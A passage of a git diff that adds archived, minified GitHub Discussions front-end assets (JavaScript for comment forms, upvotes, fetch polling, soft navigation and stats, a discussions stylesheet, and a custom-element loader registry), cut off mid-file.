i=c.currentTarget.closest(".js-line-comments");h(i)}),(0,l.on)("quote-selection",".js-line-comments",function(c){h(c.currentTarget),c.stopPropagation()}),(0,v.w4)("keydown",".js-inline-comment-form-container form .js-comment-field",function(c){const i=c.target;if(!i.classList.contains("js-navigation-enable")&&c.key==="Escape"&&i.value.length===0){const r=i.closest("form");f(r),c.preventDefault()}}),(0,l.on)("click",".js-hide-inline-comment-form",function(c){const i=c.currentTarget.closest("form");!(0,d.T)(i)||confirm(c.target.getAttribute("data-confirm-cancel-text"))?f(i):c.preventDefault()});function h(c){var i;const r=c.querySelector(".js-inline-comment-form-container");r.classList.add("open"),(i=r.querySelector(".js-write-tab"))==null||i.click(),r.querySelector(".js-comment-field").focus(),(0,l.f)(r,"inlinecomment:focus")}o(h,"focusForm");function f(c){c.reset();const i=c.closest(".js-inline-comment-form-container");i.classList.remove("open");const r=i.querySelector(".js-multi-line-preview");r&&(r.hidden=!0),(0,l.f)(i,"inlinecomment:collapse")}o(f,"blurForm")},62805:(T,E,a)=>{var l=a(22485),d=a(64463);const v=o(async(i,r,u,b)=>{const p=new FormData;return b===!0&&p.append("upvote","true"),await fetch(i,{body:u==="delete"?"":p,method:u,mode:"same-origin",headers:{"Scoped-CSRF-Token":r}})},"sendRequest");class h{constructor(r){this.voteCountElement=r}getLabel(){var r;return((r=this.voteCountElement)==null?void 0:r.getAttribute("data-upvote-label"))||""}getText(){var r;return((r=this.voteCountElement)==null?void 0:r.textContent)||""}}o(h,"VoteCountElement");class f{constructor(r){this.voteForm=r,this.voteButton=this.voteForm.querySelector(".js-upvote-button"),this.defaultVoteCountElement=new h(r.querySelector(".js-default-vote-count")),this.upvotedCountElement=new h(r.querySelector(".js-upvoted-vote-count")),this.url=this.voteForm.getAttribute("data-url")||""}isUpvoted(){return this.voteForm.getAttribute("data-upvoted")==="true"}getCsrfDeleteInputValue(){const r=this.voteForm.querySelector(".js-data-url-delete-csrf");return r?r.value:""}getCsrfPutInputValue(){const r=this.voteForm.querySelector(".js-data-url-put-csrf");return r?r.value:""}simulateUpvote(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","true"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.add("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.remove("color-fg-muted")),this.voteForm.classList.add("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.upvotedCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","true"),(0,l.x)(`${this.upvotedCountElement.getText()} Upvotes`)}simulateUpvoteDeletion(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","false"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.remove("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.add("color-fg-muted")),this.voteForm.classList.remove("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.defaultVoteCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","false"),(0,l.x)(`${this.defaultVoteCountElement.getText()} Upvotes`)}displayUpVoteError(r){const u=this.voteForm.querySelector(".js-upvote-error");u instanceof HTMLElement&&(u.textContent=r,u.hidden=!1)}hideVoteErrors(){const r=this.voteForm.querySelector(".js-upvote-error");r instanceof HTMLElement&&(r.hidden=!0)}}o(f,"VoteFormElement");class c{constructor(r){this.voteFormElement=r}animateUpvote(r){r?this.voteFormElement.simulateUpvoteDeletion():this.voteFormElement.simulateUpvote()}animateUpvoteUndo(r){r?this.voteFormElement.simulateUpvote():this.voteFormElement.simulateUpvoteDeletion()}async click(){this.voteFormElement.hideVoteErrors();const r=this.voteFormElement.isUpvoted(),u=r?this.voteFormElement.getCsrfDeleteInputValue():this.voteFormElement.getCsrfPutInputValue(),b=r?"delete":"put";this.animateUpvote(r);const p=await v(this.voteFormElement.url,u,b,!r);if(!p.ok){const w=await p.json();this.voteFormElement.displayUpVoteError(w.error),this.animateUpvoteUndo(r)}}}o(c,"Upvote"),(0,d.N7)(".js-upvote-button",i=>{if(!(i instanceof HTMLElement)||!(i.parentElement instanceof HTMLElement))return;const r=new c(new f(i.parentElement));i.addEventListener("click",async()=>{await r.click()})})},7739:(T,E,a)=>{a.d(E,{C:()=>d,x:()=>l});const l=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),d=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},29719:(T,E,a)=>{a.d(E,{D:()=>h,a:()=>v});var l=a(17463),d=a(12981);async function v(f,c,i){const r=new Request(c,i);r.headers.append("X-Requested-With","XMLHttpRequest");const u=await self.fetch(r);if(u.status<200||u.status>=300)throw new Error(`HTTP ${u.status}${u.statusText||""}`);return(0,l.t)((0,l.P)(f),u),(0,d.r)(f,await u.text())}o(v,"fetchSafeDocumentFragment");function h(f,c,i=1e3){return o(async function r(u){const b=new Request(f,c);b.headers.append("X-Requested-With","XMLHttpRequest");const p=await self.fetch(b);if(p.status<200||p.status>=300)throw new Error(`HTTP ${p.status}${p.statusText||""}`);if(p.status===200)return p;if(p.status===202)return await new Promise(w=>setTimeout(w,u)),r(u*1.5);throw new Error(`Unexpected ${p.status} response status from poll endpoint`)},"poll")(i)}o(h,"fetchPoll")},55741:(T,E,a)=>{a.d(E,{M:()=>v,T:()=>h});var l=a(14840),d=a(56238);function v(g,R=!1){return h(g)||b(g,R)||M(g)||W(g)}o(v,"hasInteractions");function h(g){for(const R of g.querySelectorAll("input, textarea"))if((R instanceof HTMLInputElement||R instanceof HTMLTextAreaElement)&&f(R))return!0;return!1}o(h,"hasDirtyFields");function f(g){if(g instanceof HTMLInputElement&&(g.type==="checkbox"||g.type==="radio")){if(g.checked!==g.defaultChecked)return!0}else if(g.value!==g.defaultValue)return!0;return!1}o(f,"formFieldValueChanged");let c;async function i(g,R){c=g;try{await R()}finally{c=null}}o(i,"withActiveElement");function r(g){return c instanceof Element?c:g&&g.ownerDocument&&g.ownerDocument.activeElement?g.ownerDocument.activeElement:null}o(r,"getActiveElement");let u;document.addEventListener("mouseup",function(g){u=g.target});function b(g,R){const x=r(g);return x===null||R&&x===g?!1:x===g&&(0,d.sw)(x)||g.contains(x)&&!w(x)?!0:u instanceof Element&&g.contains(u)&&!!u.closest("details[open] > summary")}o(b,"hasFocus");const p="a[href], button";function w(g){var R;if(g instanceof l.Z)return!0;const x=g instanceof HTMLAnchorElement||g instanceof HTMLButtonElement,$=(R=g.parentElement)==null?void 0:R.classList.contains("task-list-item");if(x&&$)return!0;if(!(u instanceof Element))return!1;const I=g.closest(p);if(!I)return!1;const H=u.closest(p);return I===H}o(w,"activeElementIsSafe");function M(g){return g.matches(":active:enabled")}o(M,"hasMousedown");function W(g){return!!(g.closest(".is-dirty")||g.querySelector(".is-dirty"))}o(W,"markedAsDirty")},17463:(T,E,a)=>{a.d(E,{P:()=>l,t:()=>v});function l(h){const f=[...h.querySelectorAll("meta[name=html-safe-nonce]")].map(c=>c.content);if(f.length<1)throw new Error("could not find html-safe-nonce on document");return f}o(l,"getDocumentHtmlSafeNonces");class d extends Error{constructor(f,c){super(`${f} for HTTP ${c.status}`);this.response=c}}o(d,"ResponseError");function v(h,f,c=!1){const i=f.headers.get("content-type")||"";if(!c&&!i.startsWith("text/html"))throw new d(`expected response with text/html, but was ${i}`,f);if(c&&!(i.startsWith("text/html")||i.startsWith("application/json")))throw new d(`expected response with text/html or application/json, but was ${i}`,f);const r=f.headers.get("x-html-safe");if(r){if(!h.includes(r))throw new d("response X-HTML-Safe nonce did not match",f)}else throw new d("missing X-HTML-Safe nonce",f)}o(v,"verifyResponseHtmlSafeNonce")},45075:(T,E,a)=>{a.d(E,{ZG:()=>f,q6:()=>i,w4:()=>c});var l=a(8439);let d=!1;const v=new l.Z;function h(r){const u=r.target;if(u instanceof HTMLElement&&u.nodeType!==Node.DOCUMENT_NODE)for(const b of v.matches(u))b.data.call(null,u)}o(h,"handleFocus");function f(r,u){d||(d=!0,document.addEventListener("focus",h,!0)),v.add(r,u),document.activeElement instanceof HTMLElement&&document.activeElement.matches(r)&&u(document.activeElement)}o(f,"onFocus");function c(r,u,b){function p(w){const M=w.currentTarget;!M||(M.removeEventListener(r,b),M.removeEventListener("blur",p))}o(p,"blurHandler"),f(u,function(w){w.addEventListener(r,b),w.addEventListener("blur",p)})}o(c,"onKey");function i(r,u){function b(p){const{currentTarget:w}=p;!w||(w.removeEventListener("input",u),w.removeEventListener("blur",b))}o(b,"blurHandler"),f(r,function(p){p.addEventListener("input",u),p.addEventListener("blur",b)})}o(i,"onInput")},12981:(T,E,a)=>{a.d(E,{r:()=>l});function l(d,v){const h=d.createElement("template");return h.innerHTML=v,d.importNode(h.content,!0)}o(l,"parseHTML")},97474:(T,E,a)=>{a.d(E,{Z:()=>l});function l(d){var v,h;const f=(h=(v=d.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:h.content;if(!f)return!1;const c=f.replace(/\.$/,"").split(".").slice(-2).join("."),i=d.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return c!==i}o(l,"detectProxySite")},84818:(T,E,a)=>{a.d(E,{Z:()=>d});class l{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}o(l,"NoOpStorage");function d(v,h={throwQuotaErrorsOnSet:!1},f=window){let c;try{c=f[v]}catch{c=new l}const{throwQuotaErrorsOnSet:i}=h;function r(p){try{return c.getItem(p)}catch{return null}}o(r,"getItem");function u(p,w){try{c.setItem(p,w)}catch(M){if(i&&M.message.toLowerCase().includes("quota"))throw M}}o(u,"setItem");function b(p){try{c.removeItem(p)}catch{}}return o(b,"removeItem"),{getItem:r,setItem:u,removeItem:b}}o(d,"safeStorage")},24216:(T,E,a)=>{a.d(E,{LS:()=>v,cl:()=>h,rV:()=>d});var l=a(84818);const{getItem:d,setItem:v,removeItem:h}=(0,l.Z)("sessionStorage")},29946:(T,E,a)=>{a.d(E,{Ak:()=>W,F2:()=>D,F6:()=>I,FP:()=>w,LD:()=>p,OE:()=>b,Po:()=>u,QE:()=>h,Rl:()=>Z,Xk:()=>x,Ys:()=>$,aN:()=>X,wP:()=>H});var l=a(24216),d=a(47930),v=a(45922);const h=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",c="soft-navigation-referrer",i="soft-navigation-marker",r="reload";function u(){return(0,l.rV)(i)==="1"}o(u,"inSoftNavigation");function b(){return Boolean(g())}o(b,"hasSoftNavFailure");function p(){performance.mark(i),(0,l.LS)(i,"1"),(0,l.LS)(c,(0,d.S)()||window.location.href)}o(p,"startSoftNav");function w(){(0,l.LS)(i,"0")}o(w,"endSoftNav");function M(){(0,l.LS)(i,"0"),(0,l.cl)(c),(0,l.cl)(f)}o(M,"clearSoftNav");function W(G){(0,l.LS)(f,G||r)}o(W,"setSoftNavFailReason");function g(){return(0,l.rV)(f)}o(g,"getSoftNavFailReason");let R=0;function x(){R+=1,document.dispatchEvent(new CustomEvent(h.SUCCESS,{detail:R}))}o(x,"softNavSucceeded");function $(){const G=g()||r;document.dispatchEvent(new CustomEvent(h.ERROR,{detail:G})),R=0,M(),(0,v.b)({turboFailureReason:G})}o($,"softNavFailed");function I(){document.dispatchEvent(new CustomEvent(h.INITIAL)),R=0,M()}o(I,"softNavInitial");function H(){return(0,l.rV)(c)||document.referrer}o(H,"getSoftNavReferrer");function Z(){return performance.getEntriesByName(i).length===0?0:performance.measure(i,i).duration}o(Z,"getDurationSinceLastSoftNav");function X(){document.dispatchEvent(new Event(h.START))}o(X,"beginProgressBar");function D(){document.dispatchEvent(new Event(h.END))}o(D,"completeProgressBar")},45922:(T,E,a)=>{a.d(E,{b:()=>h});var l=a(97474),d=a(7739);let v=[];function h(u,b=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=r(),v.push(u),b?i():c()}o(h,"sendStats");let f=null;async function c(){await d.C,f==null&&(f=window.requestIdleCallback(i))}o(c,"scheduleSendStats");function i(){var u,b;if(f=null,!v.length||(0,l.Z)(document))return;const p=(b=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:b.content;if(!p)return;const w=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(p,w)}catch{}v=[]}o(i,"flushStats");function r(){var u,b;return!!((b=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:b.content)}o(r,"isLoggedIn"),document.addEventListener("pagehide",i),document.addEventListener("visibilitychange",i)}},T=>{var E=o(l=>T(T.s=l),"__webpack_exec__");T.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b","app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],()=>E(67105));var a=T.O()}]);})(); + +//# sourceMappingURL=discussions-94188b076c4b.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css new file mode 100644 index 0000000..da4d0c4 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css @@ -0,0 +1,3 @@ +.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlights-sortable .sortable-drag{padding:0 !important;background-color:transparent}.discussion-spotlight-modal{width:560px;overflow-y:auto}.discussion-spotlight-pattern-container{mix-blend-mode:soft-light;background-position:20px 20px;background-size:35px;opacity:.5}.discussion-spotlight-pattern-zap{background-image:url("/static/images/icons/spotlight/zap-pattern.svg")}.discussion-spotlight-pattern-chevron-up{background-image:url("/static/images/icons/spotlight/chevron-up-pattern.svg")}.discussion-spotlight-pattern-dot-fill{background-image:url("/static/images/icons/spotlight/dot-fill-pattern.svg")}.discussion-spotlight-pattern-dot{background-image:url("/static/images/icons/spotlight/dot-pattern.svg")}.discussion-spotlight-pattern-heart-fill{background-image:url("/static/images/icons/spotlight/heart-fill-pattern.svg")}.discussion-spotlight-pattern-plus{background-image:url("/static/images/icons/spotlight/plus-pattern.svg")}.discussion-spotlight{height:188px;flex:1 1 auto;overflow:hidden}.discussion-spotlight-preview{height:160px}.discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-gradient .discussion-spotlight-gradient-selected-indicator{display:none}.discussion-spotlight-gradient[aria-selected=true]{box-shadow:inset 0 1px 2px rgba(27,31,35,.075),0 0 0 .2em rgba(3,102,214,.3)}.discussion-spotlight-gradient[aria-selected=true] .discussion-spotlight-gradient-selected-indicator{display:inline-block}.discussion-spotlight-emoji{top:calc(35% - 35px);left:calc(50% - 48px);width:96px;height:96px;font-size:96px;text-shadow:0 3px 14px rgba(0,0,0,.3)}.discussion-spotlight-details{pointer-events:none}.discussion-spotlight-details>*{pointer-events:auto}.discussion-spotlight-handle{cursor:pointer;background:var(--color-primer-canvas-backdrop)}.discussion-feed-body pre{padding:16px;overflow-x:auto;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body code,.discussion-feed-body tt{padding:.2em .4em;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body ul{padding-left:32px;margin-bottom:16px}.discussion-feed-body ol{padding-left:32px;margin-bottom:16px;list-style-type:number}.discussion-feed-body h1,.discussion-feed-body h2,.discussion-feed-body h3{font-size:16px}.discussion-feed-body table{display:none}.timeline-comment.timeline-chosen-answer{border:2px solid var(--color-success-emphasis)}.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-box{font-size:14px !important;line-height:14px !important;vertical-align:0 !important;cursor:default}@media(min-width: 768px){.discussions-emoji-box{font-size:16px !important;line-height:16px !important;vertical-align:0 !important}}.discussion-timeline-item::before{display:none}.discussion-primer-next-nested-comment-timeline-item::before{left:30px}.discussion-nested-comment-timeline-item::before{left:25px}@media(min-width: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:16px}.discussion-nested-comment-group{margin-left:32px}.discussion-nested-comment-paging-form::before{width:0;background-color:transparent}.discussion-nested-comment-paging-badge .octicon{fill:var(--color-border-muted);transform:rotate(90deg)}.discussion-nested-comment-paging-form-body{margin-left:24px}:target .discussion-nested-comment-group .timeline-comment{box-shadow:none !important}.discussion-nested-comment-timeline-item:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 8px 0 4px !important;line-height:inherit}.discussion-footer-answer-icon{width:26px;height:26px}.discussion-footer-answer-button{padding:0 8px !important;line-height:inherit}.discussion-event-wrapper:last-child .discussion-event-timeline-item{padding-bottom:0 !important}.discussion-event-wrapper:last-child .discussion-event-timeline-item::before{display:none}.discussion-event-timeline-item::before{left:-6px}.is-comment-editing .discussion-comment .previewable-comment-form{display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !important}.errored .discussion-category-picker{border-color:var(--color-danger-emphasis)}.discussion-annoucement-badge{background-color:var(--color-neutral-muted)}.discussion-Link--secondary:visited{color:var(--color-fg-subtle) !important}.disabled-category-form{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.bg-discussions-row-emoji-box{width:42px !important;height:42px !important;background:var(--color-bg-discussions-row-emoji-box)}.bg-discussions-row-emoji-box-small{width:30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--color-neutral-muted)}.comment-body div[type=discussions-op-text]{padding:8px;border:1px solid var(--color-border-muted) !important;border-radius:6px}.comment-body div[type=discussions-op-text] p{margin-bottom:0}.discussion-vote-form .slidey-boi{transition:.4s ease-in-out;transform:perspective(1px) translateY(0%)}.discussion-vote-form.is-upvoted .slidey-boi{transform:perspective(1px) translateY(-50%)} + +/*# sourceMappingURL=discussions-2d691bda776c.css.map*/ \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js new file mode 100644 index 0000000..1c7c278 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var u=Object.defineProperty;var m=(l,a)=>u(l,"name",{value:a,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["element-registry"],{92333:(l,a,s)=>{const d=new Map,v=new Promise(n=>{document.readyState==="interactive"||document.readyState==="complete"?n():document.addEventListener("DOMContentLoaded",()=>n(),{once:!0})}),j=new Promise(n=>{const o=m(()=>{n(),document.removeEventListener("click",o),document.removeEventListener("touchstart",o),document.removeEventListener("keydown",o)},"handler");document.addEventListener("click",o),document.addEventListener("touchstart",o,{passive:!0}),document.addEventListener("keydown",o)}),i={ready:v,firstInteraction:j},h=new WeakMap;function g(n=document.body){cancelAnimationFrame(h.get(n)||0),h.set(n,requestAnimationFrame(()=>{for(const o of d.keys()){const e=n.matches(o)?n:n.querySelector(o);if(customElements.get(o)||e){const c=(e==null?void 0:e.getAttribute("data-load-on"))||"ready",p=c in i?i[c]:i.ready;for(const x of d.get(o)||[])p.then(x);d.delete(o),h.delete(n)}}}))}m(g,"scan"),new MutationObserver(n=>{if(!!d.size)for(const o of n)for(const e of o.addedNodes)e instanceof Element&&g(e)}).observe(document,{subtree:!0,childList:!0});let f=!0;function t(n,o){d.has(n)||d.set(n,[]),d.get(n).push(o),f&&g(document.body),f=!1}m(t,"whenSeen"),t("animated-image",()=>s.e("app_components_accessibility_animated-image-element_ts").then(s.bind(s,1711))),t("launch-code",()=>s.e("app_components_account_verifications_launch-code-element_ts").then(s.bind(s,33954))),t("metric-selection",()=>s.e("app_components_advisories_metric-selection-element_ts").then(s.bind(s,63887))),t("severity-calculator",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_components_advisories_severity-calculator-element_ts")]).then(s.bind(s,606))),t("create-branch",()=>Promise.all([s.e("vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"),s.e("app_components_branch_create-branch-element_ts")]).then(s.bind(s,78928))),t("alert-dismissal-details",()=>s.e("app_components_code_scanning_alert-dismissal-details-element_ts").then(s.bind(s,32445))),t("sku-list",()=>s.e("app_components_codespaces_advanced_options_sku-list-element_ts").then(s.bind(s,14067))),t("create-button",()=>s.e("app_components_codespaces_create-button-element_ts").then(s.bind(s,1834))),t("command-palette-page",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-element_ts")]).then(s.bind(s,33094))),t("command-palette-page-stack",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-stack-element_ts")]).then(s.bind(s,9222))),t("deferred-diff-lines",()=>s.e("app_components_diffs_deferred-diff-lines-element_ts").then(s.bind(s,51598))),t("readme-toc",()=>s.e("app_components_files_readme-toc-element_ts").then(s.bind(s,11423))),t("delayed-loading",()=>s.e("app_components_github_delayed-loading-element_ts").then(s.bind(s,58525))),t("feature-callout",()=>s.e("app_components_github_feature-callout-element_ts").then(s.bind(s,89434))),t("reopen-button",()=>s.e("app_components_issues_reopen-button-element_ts").then(s.bind(s,67195))),t("math-renderer",()=>Promise.all([s.e("vendors-node_modules_lit-html_lit-html_js"),s.e("app_components_mathjax_math-renderer-element_ts")]).then(s.bind(s,24561))),t("max-value",()=>s.e("app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts").then(s.bind(s,43893))),t("codespaces-policy-form",()=>s.e("app_components_organizations_settings_codespaces-policy-form-element_ts").then(s.bind(s,97718))),t("insights-form",()=>s.e("app_components_organizations_settings_features_insights-form-element_ts").then(s.bind(s,17764))),t("action-list",()=>Promise.all([s.e("vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"),s.e("app_components_primer_action_list_action-list-element_ts")]).then(s.bind(s,51126))),t("action-menu",()=>s.e("app_components_primer_action_menu_action-menu-element_ts").then(s.bind(s,59086))),t("toggle-switch",()=>s.e("app_components_primer_experimental_toggle-switch-element_ts").then(s.bind(s,15004))),t("iterate-focusable-elements.ts",()=>s.e("app_components_primer_modal_dialog_iterate-focusable-elements_ts").then(s.bind(s,23349))),t("modal-dialog",()=>s.e("app_components_primer_modal_dialog_modal-dialog-element_ts").then(s.bind(s,27257))),t("file-filter",()=>s.e("app_components_pull_requests_file_tree_file-filter-element_ts").then(s.bind(s,44846))),t("file-tree",()=>s.e("app_components_pull_requests_file_tree_file-tree-element_ts").then(s.bind(s,62978))),t("file-tree-toggle",()=>s.e("app_components_pull_requests_file_tree_file-tree-toggle-element_ts").then(s.bind(s,93559))),t("dependabot-alert-row",()=>s.e("app_components_repos_alerts_dependabot-alert-row-element_ts").then(s.bind(s,76257))),t("dependabot-alert-table-header",()=>s.e("app_components_repos_alerts_dependabot-alert-table-header-element_ts").then(s.bind(s,47691))),t("memex-project-picker",()=>s.e("app_components_repositories_memex_memex-project-picker-element_ts").then(s.bind(s,88018))),t("pin-organization-repo",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_components_repositories_pin-organization-repo-element_ts")]).then(s.bind(s,77028))),t("common.ts",()=>s.e("app_components_search_parsing_common_ts").then(s.bind(s,97597))),t("parsing.ts",()=>Promise.all([s.e("vendors-node_modules_github_blackbird-parser_dist_blackbird_js"),s.e("app_components_search_parsing_parsing_ts-_b3651")]).then(s.bind(s,23209))),t("search-input",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("app_components_search_search-input-element_ts")]).then(s.bind(s,17804))),t("blackbird.ts",()=>s.e("app_components_search_suggestions_blackbird_ts").then(s.bind(s,52048))),t("custom-scopes.ts",()=>s.e("app_components_search_suggestions_custom-scopes_ts").then(s.bind(s,77717))),t("default.ts",()=>s.e("app_components_search_suggestions_default_ts").then(s.bind(s,63951))),t("fixed-qualifiers.ts",()=>s.e("app_components_search_suggestions_fixed-qualifiers_ts").then(s.bind(s,82721))),t("history.ts",()=>s.e("app_components_search_suggestions_history_ts").then(s.bind(s,86909))),t("languages.ts",()=>s.e("app_components_search_suggestions_languages_ts").then(s.bind(s,47512))),t("repos.ts",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("node_modules_delegated-events_dist_index_js")]).then(s.bind(s,4022))),t("suggestions.ts",()=>s.e("app_components_search_suggestions_suggestions_ts").then(s.bind(s,47378))),t("types.ts",()=>s.e("app_components_search_suggestions_types_ts").then(s.bind(s,76286))),t("project-picker",()=>Promise.all([s.e("vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_components_sidebar_project-picker-element_ts")]).then(s.bind(s,88175))),t("slash-command-toolbar-button",()=>s.e("app_components_slash_commands_slash-command-toolbar-button-element_ts").then(s.bind(s,83326))),t("monthly-spend-graph",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts")]).then(s.bind(s,14676))),t("turbo-staffbar",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-element_ts").then(s.bind(s,2079))),t("turbo-staffbar-preview",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-preview-element_ts").then(s.bind(s,23566))),t("themed-picture",()=>s.e("app_components_themed_pictures_themed-picture-element_ts").then(s.bind(s,73422))),t("tracking-block-api.ts",()=>s.e("app_components_tracking_blocks_tracking-block-api_ts").then(s.bind(s,28825))),t("tracking-block",()=>Promise.all([s.e("app_components_tracking_blocks_tracking-block-api_ts"),s.e("app_components_tracking_blocks_tracking-block-element_ts")]).then(s.bind(s,38373))),t("tracking-block-omnibar",()=>s.e("app_components_tracking_blocks_tracking-block-omnibar-element_ts").then(s.bind(s,76829))),t("profile-pins",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_profile_profile-pins-element_ts")]).then(s.bind(s,9473))),t("emoji-picker",()=>s.e("app_assets_modules_github_emoji-picker-element_ts").then(s.bind(s,62993))),t("edit-hook-secret",()=>s.e("app_assets_modules_github_behaviors_edit-hook-secret-element_ts").then(s.bind(s,1665))),t("insights-query",()=>s.e("app_assets_modules_github_insights_insights-query_ts").then(s.bind(s,31417))),t("remote-clipboard-copy",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_assets_modules_github_behaviors_remote-clipboard-copy_ts")]).then(s.bind(s,53287))),t("series-table",()=>s.e("app_assets_modules_github_insights_series-table_ts").then(s.bind(s,82100))),t("line-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_line-chart_ts")]).then(s.bind(s,75689))),t("bar-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_bar-chart_ts")]).then(s.bind(s,83515))),t("column-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_j